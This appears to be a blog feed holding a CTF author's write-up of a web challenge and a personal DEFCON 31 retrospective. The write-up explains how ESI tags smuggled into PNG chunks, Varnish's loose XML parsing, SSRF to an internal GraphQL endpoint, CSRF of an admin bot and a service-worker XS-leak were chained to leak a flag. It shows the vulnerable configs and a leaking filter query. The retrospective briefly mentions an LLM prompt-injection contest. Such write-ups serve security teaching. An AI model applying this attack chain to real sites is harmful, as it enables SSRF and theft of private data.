<p>JJK is my first soiree into some sort of full client-side web challenge. I&rsquo;m really not a client-side person so I had to do some self-education to make sure I really understood these topics before I tested them out in this challenge. I would like to thank Ming/Disna for helping test the challenge and making the solve for it, and to my partner for their knowledge and wisdom that helped me make it.</p>
<p>This writeup assumes knowledge of client-side attacks and certain specifications of web APIs. I don&rsquo;t go into detail with some of the topics here outside of the direct solve, you&rsquo;ll need to do some extra reading if you don&rsquo;t have that context.</p>
<h2 id="tldr">TL;DR</h2>
<p>POST-based img-tag XSSI -&gt; ESI injection -&gt; img-creation primitive oracle -&gt; XS-leak</p>
<p>The main point of this challenge was using a graphQL regex filter to force an oracle out of pictures with ESI tags embedded in them.</p>
<h2 id="overview">Overview</h2>
<p>The app is a private JJK database, featuring some of the characters I like in Gege Akutami&rsquo;s Jujutsu Kaisen. Comments in the src and the initialization of the Dockerfile indicates that a random character in the database will have injected into their &ldquo;notes&rdquo; column the value of the flag. In order to get it, you will need to somehow access that random character&rsquo;s notes column.</p>
<p>Without going into detail of every file in there, I will highlight the parts of the src that make this exploit work.</p>
<p><em>/cache_money/default.vcl</em></p>
<pre tabindex="0"><code class="language-conf" data-lang="conf">vcl 4.1;
import std;

backend app_backend {
    .host = &#34;jjk_app&#34;;
    .port = &#34;9080&#34;;   
}

backend db_backend {
    .host = &#34;jjk_db&#34;;
    .port = &#34;9090&#34;;   
}

acl internal {
    &#34;localhost&#34;;
    &#34;192.168.0.0/16&#34;;
    &#34;172.0.0.0/8&#34;;
}

sub vcl_backend_response {
    set beresp.do_esi = true; &lt;------- A
}

sub vcl_recv {
    if (req.http.host ~ &#34;jjk_db&#34; &amp;&amp; std.ip(client.ip, &#34;17.17.17.17&#34;) ~ internal) {
        set req.backend_hint = db_backend; &lt;-------- B
    } else {
        set req.backend_hint = app_backend;
    }
}
</code></pre><p>Point A is a configuration in Varnish cache&rsquo;s vcl that states the cache should parse any file with a <code>&lt;</code> present in it as XML. This includes things that <em>don&rsquo;t</em> have typical XML structures, such as images or text files. This is further reinforced in the <code>docker-compose.yml</code> file:</p>
<p><em>docker-compose.yml</em></p>
<pre tabindex="0"><code class="language-conf" data-lang="conf">version: &#39;3.9&#39;

services:
  jjk_app:
    restart: on-failure
    build: ./app
    # ports:
    #   - &#39;9080:9080&#39;
    depends_on:
      - &#34;jjk_db&#34;
    environment:
      - ADMIN_NAME=placeholder
      - ADMIN_PASSWORD=placeholder
  jjk_db:
    restart: on-failure
    build: ./db
    # ports:
    #   - &#39;9090:9090&#39;
  varnish:
    image: varnish:stable
    container_name: varnish
    volumes:
      - &#34;./cache_money/default.vcl:/etc/varnish/default.vcl&#34;
        # ports:
        # - &#34;80:80&#34;
    tmpfs:
      - /var/lib/varnish:exec
    environment:
      - VARNISH_SIZE=2G  
    command: &#34;-p feature=+esi_disable_xml_check&#34; &lt;------------- HERE
    depends_on:
      - &#34;jjk_app&#34;
  bot:
    build: ./bot/
    init: true
    environment:
      - CHALL_DOMAIN=https://jujutsu-kaisen-2.ctf.maplebacon.org # replaced with real domain on remote
      - ADMIN_USERNAME=placeholder
      - ADMIN_PASSWORD=placeholder
    depends_on:
      - redis
  redis:
    image: redis:6.0-alpine
  # CTF NOTE: This mimics the load balancer we have for all hosted challs. enable it on local for testing. don&#39;t attack plz
  nginx:
    build: ./nginx/
    container_name: nginx
    ports:
      - &#39;443:443&#39;
    depends_on:
      - &#34;jjk_app&#34;
</code></pre><p>The command <code>&quot;-p feature=+esi_disable_xml_check&quot;</code> enables the loose XML parsing from the container side.</p>
<p>Gong back to the <code>default.vcl</code>, B is a special rule that sets any requests to a &ldquo;jjk_db&rdquo; to the database endpoint instead of the app&rsquo;s, as the vcl defines the upstream server of Varnish as the app&rsquo;s. This comes in handy later.</p>
<p><em>/db/typedefs.py</em></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#f92672">import</span> graphene
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> graphene <span style="color:#f92672">import</span> relay
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> graphene_sqlalchemy <span style="color:#f92672">import</span> SQLAlchemyObjectType
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> graphene_sqlalchemy_filter <span style="color:#f92672">import</span> FilterSet
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> models <span style="color:#f92672">import</span> CharactersModel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">CharactersFilter</span>(FilterSet):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Meta</span>: <span style="color:#75715e">## &lt;------------------- C</span>
</span></span><span style="display:flex;"><span>        model <span style="color:#f92672">=</span> CharactersModel
</span></span><span style="display:flex;"><span>        fields <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;name&#39;</span>: [<span style="color:#f92672">...</span>],
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;cursed_technique&#39;</span>: [<span style="color:#f92672">...</span>],
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;occupation&#39;</span>: [<span style="color:#f92672">...</span>],
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;notes&#39;</span>: [<span style="color:#f92672">...</span>],
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">CharactersTypeDef</span>(SQLAlchemyObjectType):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Meta</span>:
</span></span><span style="display:flex;"><span>        model <span style="color:#f92672">=</span> CharactersModel
</span></span><span style="display:flex;"><span>        interfaces <span style="color:#f92672">=</span> (relay<span style="color:#f92672">.</span>Node,)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">## For mutations</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">CharacterFields</span>:
</span></span><span style="display:flex;"><span>    id <span style="color:#f92672">=</span> graphene<span style="color:#f92672">.</span>Int()
</span></span><span style="display:flex;"><span>    name <span style="color:#f92672">=</span> graphene<span style="color:#f92672">.</span>String()
</span></span><span style="display:flex;"><span>    occupation <span style="color:#f92672">=</span> graphene<span style="color:#f92672">.</span>String()
</span></span><span style="display:flex;"><span>    cursed_technique <span style="color:#f92672">=</span> graphene<span style="color:#f92672">.</span>String()
</span></span><span style="display:flex;"><span>    img_file <span style="color:#f92672">=</span> graphene<span style="color:#f92672">.</span>String()
</span></span><span style="display:flex;"><span>    notes <span style="color:#f92672">=</span> graphene<span style="color:#f92672">.</span>String()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">AddCharacterFields</span>(graphene<span style="color:#f92672">.</span>InputObjectType, CharacterFields):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">pass</span>
</span></span></code></pre></div><p>Point C is where a filter is defined for use in the graphQL endpoint in the application. The filterset, which is defined by a 3rd-party library called <code>graphene_sqlalchemy_filter</code>, utilizes regex-esque (it&rsquo;s not actually fully regex) filters that can be used on 4 different columns: <code>name</code>, <code>cursed_technique</code>, <code>occupation</code>, and <code>notes</code>. The last column is of importance as that is where the flag will exist.</p>
<p><em>app/app.y</em></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">upload_handler</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> request<span style="color:#f92672">.</span>method <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;GET&#34;</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> render_template(<span style="color:#e6db74">&#34;newchar.html&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">elif</span> request<span style="color:#f92672">.</span>method <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;POST&#34;</span>:
</span></span><span style="display:flex;"><span>        name <span style="color:#f92672">=</span> request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;name&#39;</span>)
</span></span><span style="display:flex;"><span>        occupation <span style="color:#f92672">=</span> request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;occupation&#39;</span>)
</span></span><span style="display:flex;"><span>        cursed_technique <span style="color:#f92672">=</span> request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;cursed_technique&#39;</span>)
</span></span><span style="display:flex;"><span>        notes <span style="color:#f92672">=</span> request<span style="color:#f92672">.</span>form<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;notes&#39;</span>)
</span></span><span style="display:flex;"><span>        upload <span style="color:#f92672">=</span> request<span style="color:#f92672">.</span>files<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;file&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> upload <span style="color:#f92672">is</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> render_template(<span style="color:#e6db74">&#34;error.html&#34;</span>, error<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;You can&#39;t upload an empty file!&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        ext <span style="color:#f92672">=</span> upload<span style="color:#f92672">.</span>filename<span style="color:#f92672">.</span>split(<span style="color:#e6db74">&#34;.&#34;</span>)[<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> ext <span style="color:#f92672">!=</span> <span style="color:#e6db74">&#34;png&#34;</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> render_template(<span style="color:#e6db74">&#34;error.html&#34;</span>, error<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;I see what you&#39;re trying to do.&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        filename <span style="color:#f92672">=</span> secure_filename(os<span style="color:#f92672">.</span>urandom(<span style="color:#ae81ff">42</span>)<span style="color:#f92672">.</span>hex())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        mutation <span style="color:#f92672">=</span> MUTATION<span style="color:#f92672">.</span>format(name<span style="color:#f92672">=</span>name, occupation<span style="color:#f92672">=</span>occupation, cursed_technique<span style="color:#f92672">=</span>cursed_technique, notes<span style="color:#f92672">=</span>notes, ct<span style="color:#f92672">=</span>cursed_technique)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>post(GRAPHQL_ENDPOINT, json<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#34;query&#34;</span>: mutation, <span style="color:#e6db74">&#34;variables&#34;</span>: <span style="color:#66d9ef">None</span>})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (r<span style="color:#f92672">.</span>json()[<span style="color:#e6db74">&#34;data&#34;</span>][<span style="color:#e6db74">&#34;addNewCharacter&#34;</span>][<span style="color:#e6db74">&#39;status&#39;</span>] <span style="color:#f92672">==</span> <span style="color:#66d9ef">True</span>):
</span></span><span style="display:flex;"><span>            upload<span style="color:#f92672">.</span>save(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;uploads/</span><span style="color:#e6db74">{</span>filename<span style="color:#e6db74">}</span><span style="color:#e6db74">.</span><span style="color:#e6db74">{</span>ext<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> redirect(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;/view/</span><span style="color:#e6db74">{</span>filename<span style="color:#e6db74">}</span><span style="color:#e6db74">.</span><span style="color:#e6db74">{</span>ext<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> render_template(<span style="color:#e6db74">&#34;error.html&#34;</span>, error<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Something went wrong when trying to upload through graphql!&#34;</span>)
</span></span></code></pre></div><p>This is the route that handles the creation of new characters. You have the option to upload files, but they&rsquo;re extension-checked as png images. Notably, if you upload a character, you&rsquo;re then <strong>redirected to that image.</strong></p>
<p>I won&rsquo;t go into the code too deep, but there is also an admin bot that logs in as me, then navigates to a user-defined URL. The cookies are not CSRF-safe.</p>
<p>You now have all the components of the challenge needed to figure out the solve. Let&rsquo;s go ahead to see how that looks.</p>
<h2 id="the-graphql-filters">THE GRAPHQL FILTERS</h2>
<p>The filters used in graphQL are totally fine and safe on their own. But the way that this app is coded, the filters create an opportunity to make an oracle-based attack. Since I put the flag in the notes column of one particular JJK character, a filter such as this:</p>
<pre tabindex="0"><code>{
    getCharacters(
        filters: {
            notesLike: &#34;%FLAG_SO_FAR%&#34;
        }) {
        edges {
            node {
                name,
                notes
            }
        } 
    }
}
</code></pre><p>Will leak the flag char by char.</p>
<h2 id="hiding-things-in-pngs-and-varnish-xml-parsing">HIDING THINGS IN PNGS AND VARNISH XML PARSING</h2>
<p>I&rsquo;ve used this technique before in my previous challenge, <em>Makima</em>. The IDAT chunks of a <code>.png</code> image are critical (read: you can&rsquo;t make a png without them) as they define the actual bytes that comprise the pixels that make an image. IDAT chunks are the output datastream of the compression algorithm stipulated by the <code>.png</code>&rsquo;s IHDR chunk, another critical metadata chunk. There can be numerous IDAT chunks, naturally, depending on the size of any given image, and behind the lens, they&rsquo;re just a bunch of bytes&hellip;</p>

    <img src="/images/IHDR_IDAT.png"  alt="IHDR AND IDAT"  class="center"  style="border-radius: 8px;"  />


<p>With some readable text defining where a chunk starts and another ends.</p>
<p>Now, I coded the app to ensure that only <code>.png</code> images are uploaded into the database. But remember that Varnish has been configured to parse ANY file (regardless of type) as XML if a <code>&lt;</code> is present within - so that means we find ourselves in an image manipulation scheme.</p>
<p>Like I said before, the IDAT chunks of a <code>.png</code> defines the actual image. You can also, just, <em>hide</em> bytes in those chunks and smuggle them in whilst still having a valid <code>.png</code>, as long as the critical chunks (defined in the png specification) are present and not mangled in any way. Do you get an actual image? No, probably not. But if you hide in the byte for a <code>&lt;</code> in there, Varnish will think it&rsquo;s XML.</p>
<p>So great, you got an opportunity to parse XML in an image but what do you do with it?</p>
<h2 id="edge-side-includes">EDGE-SIDE INCLUDES</h2>
<p>Before I talk about ESI tags, I&rsquo;ll talk about things that won&rsquo;t work with the primitive we have with images.</p>
<p>XXE&rsquo;s don&rsquo;t work, because you actually never see the output of your XXE command since you never see the character you add again. This is because the user only has capabilities to add new characters (more on that in a sec), and there&rsquo;s only one user, Vie (me, well, the bot) and there&rsquo;s no other users to log in to or register in.</p>
<p>So, sure, you can parse XML but you don&rsquo;t see the output. Not a super useful primitive for us if we wanted to actually see stuff. So what next?</p>
<p>Edge-Side Includes are a cache feature that speeds up dynamic web content retrieval. It&rsquo;s a markup language with XML flavour. According to Wikipedia, ESIs serve the purpose of improving scaling of an application as they&rsquo;re meant to be blazing fast mechanisms to generate content. Varnish can utilize, parse and render ESI tags as well as many other caching solutions.</p>
<p>Edge-Side Includes also have different features, such as a specific &ldquo;includes&rdquo; directive: inclusion of page fragments, which stipulate to the upstream server where to retrieve that content from.</p>
<p><em>Where</em> to retrieve that content from. This smells like an SSRF attack.</p>
<p>Recall a little earlier point B in the overview: &ldquo;B is a special rule that sets any requests to a &ldquo;jjk_db&rdquo; to the database endpoint instead of the app&rsquo;s, as the vcl defines the upstream server of Varnish as the app&rsquo;s&rdquo;. If you do a little debugging while working through the challenge, you will observe that an ESI tag with the inclusion directive to a specified website will simply make a request to that website, and put in the host header the value of that server. This plays really nicely with the custom rule observed in the <code>default.vcl</code> configuration, meaning that we can SSRF the database endpoint through an ESI tag processed by Varnish. Or, more specifically, we can SSRF the database endpoint through an ESI tag embedded in the IDAT chunks of a <code>.png</code> image that is processed by Varnish with the loose XML parsing feature explicitly enabled.</p>
<p>We&rsquo;ve gone through a lot. The exploit path is now clear: Create images programmatically such that you embed your graphql filter payload in the images you make, then upload them into the database and request for that content again to trigger Varnish and the ESI parsing. Do this in a loop, updating your filter with each correctly-guessed character in the flag. This is all well and good, but we still have a few details to iron out.</p>
<h2 id="csrf-the-bot">CSRF THE BOT</h2>
<p>The bot, Vie/me, logs in and then navigates to a URL. It can also be observed that the bot&rsquo;s cookies are not protected from CSRF attacks. Combining our knowledge of our exploit above, the &ldquo;upload&rdquo; part is not actually done by us, but done by the bot that is CSRF&rsquo;ed by us. Great, sounds good. One problem though - When the bot gets the redirect to the image after uploading a new character, that image will contain the results of the filter that has our flag oracle. <em>We still can&rsquo;t see that, though.</em> The bot is redirected regardless of a valid/invalid image, so is there actually no oracle to be used?</p>
<p>Let&rsquo;s talk a little bit about this oracle. So, no, you will never see the output of that image, when parsed by Varnish. Your next best thing is to go the XS-Leaks route. A redirect happens when the image is uploaded, but it can be valid/invalid. What can make a <code>.png</code> image invalid? Lots of things, but the one thing we can do easily is mangling the IDAT chunks and creating an image with a size disagreeable with the metadata. When that happens, the image refuses to load, naturally. Now, we can do that pretty easily with ESI tags.</p>
<p>Recall that ESI tags are used to help scaling by rendering generated content when assembling webpages. An ESI tag with the inclusion directive will render the result of wherever that inclusion directive went into the file it&rsquo;s in. So, say that you have a succesfull graphql filter result, from correctly guessing a character in the flag. The length of that valid result will be longer than the length of a result of an invalid guess in the filter. You can additionally pad the length further by requesting for other fields to reflected in graphql, so you get an extra long response. This response gets rendered in the image, in place of where the ESI tag was. The extra bytes that get filled in can then mangle and warp the size of the image, making it invalid, and it therefore won&rsquo;t load. On the flip side, an incorrect guess yields a shorter result, so not that long of a response that is rendered where the ESI tag was in the image, and potentially not mangling the image size as much.</p>
<p>That&rsquo;s our primitive. We can now create a valid/invalid images and detect if the load was succesful, giving us a reliable and stable XS-Leak.</p>
<h2 id="service-workers">SERVICE WORKERS</h2>
<p>We now need a way to programmatically make the admin bot upload characters with an image primitive, then detect the result of that image load. We can do this with Service Workers.</p>
<p>Without going into detail, Service Workers are a modern web API that really improve the offline experience of webpages, but in my challenge they&rsquo;re used to intercept requests.</p>
<p>We use SWs here to trigger a POST request instead of a GET request. Why?</p>
<p>Our payload is an image, and we are detecting if whether or not it loaded or error&rsquo;ed out. Since only the admin visiting our site sees the actual image or not, we need to detect the loading using scripting to detect an <code>onload</code> or <code>onerror</code> event when an <code>&lt;img src=&quot;UPLOAD ENDPOINT&quot;&gt;</code> loads. But <code>img</code> tags are only ever generic GET requests, so you must use a registered SW to intercept that request and convert it into a POST to actually upload your image. When the redirect occurs, your <code>&lt;img&gt;</code> source will either load or not load.</p>
<h2 id="altogether-now">ALTOGETHER NOW</h2>
<p>Create a script to programmatically embed ESI tags which reach the db endpoint with the graphql filter in the query parameters into the IDAT chunks of an image. Make the admin bot navigate to your site where it hosts that script and loads an <code>&lt;img src=&quot;UPLOAD ENDPOINT&quot;&gt;</code> where a registered SW will intercept it into a POST request and upload your ESI&rsquo;d image. When the redirect occurs, observe if whether or not your <code>&lt;img&gt;</code> tag succesfully loaded or error&rsquo;ed to determine if the flag guess you made was correct. Repeat this process until you get a flag. <a href="https://github.com/ubcctf/maple-ctf-2023-public/tree/main/web/jujutsu-kaisen-2/solve">Full source of solve is in here</a>. Special thanks to Ming!</p>
<p>I made this challenge with the intention of it being solved in a full day, to a full day and a half. Of course, due to some issues such as the jjk_db endpoint being public-facing which was not what I wanted, a few unintended solutions existed. Such is life, but i hope that the intended solution is interesting enough to the readers here.</p>
]]></content>
        </item>
        
        <item>
            <title>DEFCON 31: Retrospective</title>
            <link>https://jamvie.net/posts/2023/08/defcon-31-retrospective/</link>
            <pubDate>Thu, 31 Aug 2023 00:00:00 +0000</pubDate>
            
            <guid>https://jamvie.net/posts/2023/08/defcon-31-retrospective/</guid>
            <description>Beginning Back in October of 2019, I was attending my 3rd/4th? year at UBC, where I tried to play in a beginner-friendly CTF known as &amp;ldquo;CSAW 2019&amp;rdquo; with UBC&amp;rsquo;s team: Maple Bacon. Particularly, I tried out a challenge called Unagi, which, having spent an eternity on, I managed to solve after hours of wrangling with the problem.
To be completely frank, I solved the challenge after googling &amp;ldquo;XML vulnerability&amp;rdquo; and trying out payloads - really, just, throwing payloads and modifying them to tailor the challenge - until one stuck and I got the flag.</description>
            <content type="html"><![CDATA[<h2 id="beginning">Beginning</h2>
<p>Back in October of 2019, I was attending my 3rd/4th? year at UBC, where I tried to play in a beginner-friendly CTF known as &ldquo;CSAW 2019&rdquo; with UBC&rsquo;s team: Maple Bacon. Particularly, I tried out a challenge called Unagi, which, having spent an eternity on, I managed to solve after hours of wrangling with the problem.</p>
<p>To be completely frank, I solved the challenge after googling &ldquo;XML vulnerability&rdquo; and trying out payloads - really, just, throwing payloads and modifying them to tailor the challenge - until one stuck and I got the flag. I was happy, but I also thought, &ldquo;what the <em>hell</em> did I achieve? what did the payload do? What did I learn?&rdquo; and I couldn&rsquo;t come up with an answer I was satisfied with. I really just googled information about XML vulenrabilities, found an XXE payload, and threw it hoping to see if something would change (I didn&rsquo;t even know what XXE stood for). Granted, I still needed to modify the payload. Unagi required more effort than just a copy-paste. But overall, my first experience was largely juvenile and I was still as naive as I was pre CSAW 2019.</p>
<p>I remained curious in CTFs the following year, but didn&rsquo;t really play in them as much until I was complaining to a friend of mine about something entirely different - Super Smash Bros. I really liked the game, I was playing in it so much I was considering playing it competitively (nothing too serious really came out of that) but I wanted something else to satisfy my competitive nature. So my friend suggested DEF CON.</p>
<blockquote>
<p>V: &ldquo;Like the alarm codes?&rdquo;</p>
</blockquote>
<blockquote>
<p>L: &ldquo;Okay, <em>yeah</em>, but I&rsquo;m talking about the hacking competition.&rdquo;</p>
</blockquote>
<blockquote>
<p>V: &ldquo;Hacking? Yea, like CTFs? I&rsquo;m familiar.&rdquo;</p>
</blockquote>
<blockquote>
<p>L: &ldquo;Uh huh, like the movie <em>Hackers</em>. You know, the one with Angelina Jolie?&rdquo;</p>
</blockquote>
<blockquote>
<p>V: &ldquo;Wait, Angelina Jolie was in a movie called <em>Hackers</em>?&rdquo;</p>
</blockquote>
<blockquote>
<p>L: &ldquo;You&rsquo;re missing the point. Have you ever considered CTFs to help with your competitive nature?&rdquo;</p>
</blockquote>
<p>I knew the CTF scene, not that well, but I knew it. I played in a CTF with MB, and I thought about what my friend said. I figured, sure, why not?</p>
<p>I attended my first few meetings with them, exploring CTFs, starting with PicoCTF under prof. Robert Xiao&rsquo;s advice. Pico was considerably easier than CSAW, generous with hints and well-scoped for people to learn something new in security. I took my time, taking a couple days to solve all. The series of SQLi challenges, when I came across them, gave me a challenge at the time. But when I solved them, I was elated - happy, cause submitting a flag felt really, really good.</p>
<p>Debriefing on the Pico challenges after submitting all of the web ones, Robert Xiao talked about DEF CON. I had minor context from my own research and from what my friend told me, but hearing him talk about it and all the cool challenges he saw was inspiring. DEF CON CTF seemed interesting, challenging, but importantly - <em>fun</em>. I wanted to participate.</p>
<p>Recall that at the time that I resolved to participate, I barely knew what an XXE was, nor did I play in any harder challenges outside of Pico and one (1) CSAW challenge. So, was the goal of DEF CON attainable? Not anytime soon at that point in time. I gave myself a comfortable margin of 7 years. If I could be in Vegas for DEF CON 7 years from then (2020), I&rsquo;d be set.</p>
<p>That was 3 years ago.</p>

    <img src="/images/MMM_2023.jpg"  alt="MMM"  class="center"  style="border-radius: 8px;"  />


<h2 id="maple-bacon">Maple Bacon</h2>

    <img src="/images/DEFCON31_MB.jpeg"  alt="MMM"  class="center"  style="border-radius: 8px;"  />


<p>I&rsquo;d really like to first explain some things pre-DEFCON 31 Finals. You may notice during the quals, MMM wasn&rsquo;t there - Parliament of Ducks was. That was actually <strong>our, Maple Bacon&rsquo;s,</strong> decision.</p>
<p>I&rsquo;m not dumb. I knew that last year, the announcement of the merge between The Duck, PPP and us was a shock, simply because 1/3rd of that merge was not as highly-regarded as the other two. I know that. PPP has several different championships under their name, and Theori (The Duck) is a security powerhouse, an extension of one of PPP&rsquo;s co-founders Bpak. So what was Maple Bacon doing there? At the time of DEF CON 30 I was the leader of Maple Bacon, and like I said, I&rsquo;m not dumb. I knew what others thought of the merge. I knew that Maple Bacon came into their first DEF CON with 0 prior DEF CON wins. I knew people would talk. But I was the leader. So I also knew that my team was determined, ambitious, and capable. They were nervous, maybe a little green, but I saw all of their progress and development, ever since the <em>inception of the team</em>. <strong>I was there for all of it</strong>. I knew they were <em>good</em>. And clearly, so did PPP and The Duck.</p>
<p>Sorry for the soap opera paragraph. Back to the original question.</p>
<p>We were the unlikeliest team to show up in said merge. The answer, given the context, is simple. We wanted to be taken seriously (yes, even after DEF CON 30 victory). And during quals, we wanted to show that we were just as ready for DEF CON as others. We had less than 15 people play during quals. It sucks that we missed the qualifying threshold, but for a very brief moment, I think we made other teams do a double take for a good portion of those quals. If other teams had, at one point, felt a brief but palpable shock at our existence on the scoreboard, that&rsquo;s a success for me. Doing our best with far less people than many other teams, and having that reflected in our quals performance, felt pretty good.</p>
<p>Since I graduated from UBC, Maple Bacon has transferred into new leadership. I&rsquo;m certainly still involved but in a much smaller capacity. However, I must&rsquo;ve done something alright if they&rsquo;re still going strong today. DEF CON isn&rsquo;t their only win, and it isn&rsquo;t the only big CTF they&rsquo;ve done incredibly well in. Like I said, I know my team, and I see with my own eyes the sights they&rsquo;re setting and the hard work they&rsquo;re putting in. They&rsquo;ve earned the respect they have recieved.</p>
<h2 id="defcon-prep">DEFCON: PREP</h2>
<p>Thursday, prep day. I arrived in Vegas a little earlier, and managed to get quite a few things accomplished. I met some old friends and new people, from co-workers to other CTF players I really admire and respect. Synced up with my team for the night, and got everything - tooling, roles, infrastructure setup - organized.</p>
<p>Later that night I went to the Chandelier bar at the Cosmopolitan hotel, and had the <em>Secret Menu</em> drink called the &ldquo;Verbena&rdquo;, which, <em>IFYKYK</em>, and oh my god I did not and what a shock to my senses that was.</p>
<p>
    <img src="/images/Chandelier.jpg"  alt="MMM"  class="center"  style="border-radius: 8px;"  />


<em>At least the bar was pretty though</em></p>
<h2 id="defcon-day-i">DEFCON: DAY I</h2>

    <img src="/images/DC31_Banner.png"  alt="MMM"  class="center"  style="border-radius: 8px;"  />


<p>I was on the floor the first day and helped set things up. Last year, I was expecting a similar setup of round tables in a single room, so it was quite a nice surprise to see a far larger area for us, with nicer setups for each team. I think others have echoed similar sentiments but the CTF gave you 0 free time to check out the rest of DEF CON, which is a damn shame cause I really wanted to see some of my co-workers over at AI Village. Cest la&rsquo; Vie.</p>
<h2 id="defcon-day-ii">DEFCON: DAY II</h2>
<p>
    <img src="/images/vieodore.jpg"  alt="MMM"  class="center"  style="border-radius: 8px;"  />


<em>In case you forget our names.</em></p>
<p>After the network closed on day 1 we were informed of the fact that no challenges will be retired for the rest of the CTF. This was a pretty significant change to the meta, since we would have to keep looking for deeper bugs in day 1 chals while also balancing looking for bugs for future challenges. The night between day 1 and day 2 was a sleepless one for most of us, and very surprisingly I found myself busy with a web challenge released towards the end of day 1.</p>
<p>Day 2 starts and we started coming across connectivity issues, which was later revealed to be container misconfigurations that affected several other teams. While frustrating, I think we&rsquo;re all used to testing exploits locally so luckily that didn&rsquo;t affect our workflow too much. Besides rationing connections, a bunch more challenges were released and the ennui of it all was definitely starting to settle in. While we managed to have all challenges accounted for, the balancing act definitely had its effects on us.</p>
<h2 id="defcon-day-iii">DEFCON: DAY III</h2>

    <img src="/images/MMM_braincell.png"  alt="MMM"  class="center"  style="border-radius: 8px;"  />


<p>
    <img src="/images/pie_flavor.png"  alt="MMM"  class="center"  style="border-radius: 8px;"  />


<em>DEF CON DAY 3 :]</em></p>
<p>About 6-ish hours of sleep (which is ALOT for DEF CON days) later, day 3 starts and I was dual-wielding patch-busting and LLM prompt injection, which is a brand new sentence if I&rsquo;ve ever seen one. There was an LLM KotH challenge that had players submit attack and defense prompts to get other team&rsquo;s LLMs to spit out a provided secret. It&rsquo;s a nice challenge, certainly applicable to the landscape of AI today.</p>
<p>Near the end of day 3 we were mostly fixated on the last LiveCTF match between us (Jinmo) and Hypeboy, and it was nerve-wracking, to say the least. It was a race against time to figure out why the exploit wasn&rsquo;t working remotely even though it was fine locally, which we later discover was a network hiccup - anyway, the match continued into sudden death, with Jinmo clutching and securing us LiveCTF 1st place.</p>
<p>
    <img src="/images/jinmo_mmm.png"  alt="MMM"  class="center"  style="border-radius: 8px;"  />


<em>Creds to Zaratec</em></p>

    <img src="/images/DC31_scoreboard.png"  alt="MMM"  class="center"  style="border-radius: 8px;"  />


<p>What a beautiful scoreboard.</p>
<h3 id="awards-ceremony">AWARDS CEREMONY</h3>

    <img src="/images/dc31_awards_ceremony.jpg"  alt="MMM"  class="center"  style="border-radius: 8px;"  />


